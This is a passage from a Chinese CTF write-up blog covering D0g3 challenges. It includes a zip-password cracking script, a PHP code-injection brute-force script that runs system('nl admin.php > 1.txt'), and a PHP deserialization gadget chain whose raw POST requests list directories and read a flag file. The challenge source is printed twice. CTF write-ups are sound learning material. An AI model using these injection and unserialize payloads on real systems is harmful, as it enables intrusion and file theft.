password_list0 = literal_eval(data.strip(ed))
password_list = password_list0[:]
password_list += [vigenger_dec(p) for p in password_list0]
password_list += [vigenger_dec(p.upper()) for p in password_list0]
password_list += [b64encode(p.encode()).decode() for p in password_list]

full_password_list = password_list + [p + "mks007" for p in password_list] + [p + "mks007".upper() for p in password_list]

# save password list to file
with open('password_list.txt', 'w') as f:
    f.write('\n'.join(full_password_list))
    
crack_zip(zip_file, full_password_list)

解压得到 :

D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}

签到处

直接填写

Web

what’s my name

dog3 需要 include 开头,然后长度要等于匿名函数名称的后两位。匿名函数每次创建最后的"_“后的数字都会 +1。因此需要爆破。name 指定为匿名函数名称即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import requests

url = "http://ip:port/"

payload = "include\"]);}system('nl admin.php > 1.txt');/*"
payload_url = payload.replace(" ", "%20")
for i in range(len(payload)*20):

    res = requests.get(url + f"?d0g3={payload_url}&name=%00lambda_" + str(len(payload)), timeout=10)
    <em># print(url + f"?d0g3={payload_url}&name=%00lambda_" + str(len(payload)))</em>
    print(len(res.text))
    if(len(res.text) != 4003):
        <em>break</em>

运行结果如下:

得到 flag

easy_unserialize

脚本

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                echo 1;
                $this->g1->g1=666;
                echo 2;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function set_md5($arg){
        $this->md5 = $arg;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        echo "success";
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        <em>// echo "`1";</em>
        <em>// $this->y1->y1;</em>
        unset($this->y1->y1);
    }
}
class Flag{
    <em>// public $b;</em>
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

$a = new Flag();
$a->SplFileObject = '/FfffLlllLaAaaggGgGg';
$b = new Luck(1);
$b->l1 = $a;
$c = new Luck(1);
$c->set_md5($b);
$f =  new You();
$f->y1 = $c;
$out = serialize($f);
print_r(base64_encode($out));<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                echo 1;
                $this->g1->g1=666;
                echo 2;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function set_md5($arg){
        $this->md5 = $arg;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        echo "success";
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        <em>// echo "`1";</em>
        <em>// $this->y1->y1;</em>
        unset($this->y1->y1);
    }
}
class Flag{
    <em>// public $b;</em>
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

$a = new Flag();
$a->SplFileObject = '/FfffLlllLaAaaggGgGg';
$b = new Luck(1);
$b->l1 = $a;
$c = new Luck(1);
$c->set_md5($b);
$f =  new You();
$f->y1 = $c;
$out = serialize($f);
print_r(base64_encode($out));

获取 flag 的路径

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST / HTTP/1.1
Host: 47.108.206.43:34846
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 212

D0g3=O:3:"You":1:{s:2:"y1";O:4:"Luck":4:{s:2:"l1";N;s:3:"ll2";N;s:9:"�Luck�md5";O:4:"Luck":4:{s:2:"l1";O:4:"Flag":1:{s:17:"DirectoryIterator";s:1:"/";}s:3:"ll2";N;s:9:"�Luck�md5";i:1;s:4:"lll3";N;}s:4:"lll3";N;}}

获取 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST / HTTP/1.1
Host: 47.108.206.43:34846
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 228

D0g3=O:3:"You":1:{s:2:"y1";O:4:"Luck":4:{s:2:"l1";N;s:3:"ll2";N;s:9:"�Luck�md5";O:4:"Luck":4:{s:2:"l1";O:4:"Flag":1:{s:13:"SplFileObject";s:20:"/FfffLlllLaAaaggGgGg";}s:3:"ll2";N;s:9:"�Luck�md5";i:1;s:4:"lll3";N;}s:4:"lll3";N;}}

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计